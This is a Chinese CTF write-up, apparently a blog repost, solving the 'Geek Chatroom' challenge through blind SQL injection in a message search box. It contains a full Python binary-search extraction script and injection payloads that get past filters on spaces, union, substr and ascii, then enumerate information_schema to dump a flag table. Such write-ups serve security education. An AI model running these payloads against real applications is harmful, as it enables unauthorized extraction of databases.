1. 程式人生 > >第九屆極客大挑戰——Geek Chatroom(sql盲註)

第九屆極客大挑戰——Geek Chatroom(sql盲註)

messages all eight 成績 pan http post 字符串長度 substr()

引言:因為太想加入三葉草了,所以極客大挑戰這段時間一直在努力的學習,原來還真沒想到能在比賽中拿到排行榜第一的成績,不過現在看來努力始終都是有回報的。但我依然還是比較菜啊-.-,最近卻有很多夥伴加我好友,一來就叫我大佬,讓我深感有愧-.-,既然都想看我wp,那我就挑幾道題寫寫好了,口拙詞劣還望見諒。

首先觀察這個web應用的功能,可以任意留言,也可以搜索留言,當然我還用cansina掃描過網站,查看過源碼,抓包查看過header等。沒發現其他提示的情況下斷定這就是個sql註入,可能存在的註入點呢,就是留言時產生 insert into 註入,或者搜索時產生的 like ‘%xx%‘ 註入。經過多次嘗試,發現留言板不存在註入點,註入點就在搜索功能中。

有過網站開發經驗的應該很清楚搜索功能一般是這樣實現的

select * from users where name like %tom%;

%是通配符,匹配零個或多個字符,這句sql便是查找users表中所有name字段裏帶tom的。

我猜想該web應用後臺的查詢功能語句如下

select * from message where message like %xxx%;

所以構造語句 123456789%‘#

技術分享圖片

可以看到成功搜索到123456789,因為後臺的語句被拼接成了

select * from message where message like
%123456789%’#%

select * from message where message like %123456789%

當我嘗試union查詢的時候,發現顯示

技術分享圖片

看來有對某些關鍵字有過濾,union不能用就不能讓後臺數據直接顯示了(也或是存在我不知道的方法),不過到這步我就自然想到sql盲註,於是構造

技術分享圖片

技術分享圖片

語句註入成功,and 1 條件為真就可以查到數據,and 0 條件為假便不能查到數據。我這裏用了括號,這是因為經過多次測試,發現對空格也有過濾或者替換,只要出現空格,語句就錯誤,所以便用括號來繞過空格,當然用註釋/**/也是可以的

接下來就是常規的sql盲註步驟,要註意的就是這裏過濾了文本截取函數substr(),mid(),和字符轉ascii碼函數ascii()等,但是沒有過濾left(),right()和ord(),那麽就可以利用right()來截取字符串,雖然截取出來是一段字符串,但是用ord()轉換一段字符串為ascii碼的話,只會取第一個字符,而且right第二個參數大於字符串長度的話是不會有影響的,和等於字符串長度的結果相同,例如

rigth(hello,10) == hello
ord(hello) == ord(h)

於是便可以用right()和ord()遍歷每一個字符,猜解整個字段

ord(right(hello,5)) == ord(h)
ord(right(hello,4)) == ord(e)
ord(right(hello,3)) == ord(l)

我用二分法寫了一個盲註的python腳本,代碼寫的醜...大家湊合看,當然不用二分法也行,可以逐個字符對比,不過那樣效率極低,極不推薦,至於多線程我沒學過就不討論了。其中第16行的有個 .format(str(30-index)) 裏面的30要猜解的當前字段的長度,這個是一開始任意猜的(當然可以先用length()函數確切的判斷長度,我覺得麻煩還不如自己猜一個)

以下腳本只演示了猜解當前數據庫名

 1 import requests
 2 import re
 3 
 4 requests=requests.session()
 5 
 6 strall=[]
 7 strall.append(0)
 8 for i in range(33,128):
 9     strall.append(str(i))
10 
11 def isthis(index,charascii,compare):
12     url=http://daedalus.kim:9000/index.php?act=search
13     headers={
14         Content-Type: application/x-www-form-urlencoded,
15     }
16     data="keyword=123456789%‘/**/and/**/ord(right((select/**/database()),{}))".format(str(30-index))+compare+"{}#&submit=Search".format(charascii)
17     print data
18 
19     r=requests.post(url=url,headers=headers,data=data)
20 
21     a=True
22 
23 
24     if r.text.find(There are no messages)>=0:
25         print false
26         a=False
27     else:
28         print true
29         a=True
30 
31 
32 
33     return a
34         
35 ans=‘‘ 
36 flag=0
37 for index in range(1,99):
38     left=0
39     right=len(strall)
40     if flag:
41         break
42 
43     while left<=right:
44         mid=(left+right)>>1 
45         if isthis(index,strall[mid],">"):
46             left=mid+1
47         elif isthis(index,strall[mid],"<"):
48             right=mid-1
49         else:
50             if strall[mid]==0:
51                 flag=1
52                 break
53             value=chr(int(strall[mid]))
54             ans+=value
55             print ans
56             break
57 
58 print ans
59 
60 raw_input(done)

技術分享圖片

由於我猜的數據庫名是30位,所以這裏出現的即是30個字符,當然很明顯可以看出數據庫就是simple_message_board

後面我掉了次坑,我猜解了simple_message_board數據庫裏的所有表名,只有一張message表,猜解message表的所有列名,發現只有id,username,message,並沒有flag,一開始以為有人攪屎,去問了運維發現沒有,而且這題也是我拿的一血,怎麽會有人攪屎呢,於是我就想到flag可能在其他數據庫,所以先來猜解下所有數據庫名,不知道mysql裏的information_schema數據庫的小夥伴可以先去百度一下,這裏我就不多解釋了,反正在這個數據庫裏可以查到所有數據庫名,表名還有列名,在sql註入中經常用到

查所有數據庫名的sql即是

select group_concat(schema_name) from information_schema.schemata

然後把我腳本裏的16行改成

data="keyword=123456789%‘/**/and/**/ord(right((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{}))".format(str(50-index))+compare+"{}#&submit=Search".format(charascii)

技術分享圖片

這個就很明顯了吧,有個叫做flag的數據庫

接著猜解表名,16行改成

data="keyword=123456789%‘/**/and/**/ord(right((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=‘flag‘),{}))".format(str(20-index))+compare+"{}#&submit=Search".format(charascii)

技術分享圖片

flag數據庫裏有個flag表

接著猜列名,16行改成

data="keyword=123456789%‘/**/and/**/ord(right((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=‘flag‘/**/and/**/table_name=‘flag‘),{}))".format(str(20-index))+compare+"{}#&submit=Search".format(charascii)

技術分享圖片

就一列,flag

最後猜解字段,16行改為

data="keyword=123456789%‘/**/and/**/ord(right((select/**/group_concat(flag)/**/from/**/flag.flag),{}))".format(str(25-index))+compare+"{}#&submit=Search".format(charascii)

技術分享圖片

因為我猜的長度是25,所以這裏有25個字符,不過flag是SYC及其後的內容SYC{xxxxxxx}

第九屆極客大挑戰——Geek Chatroom(sql盲註)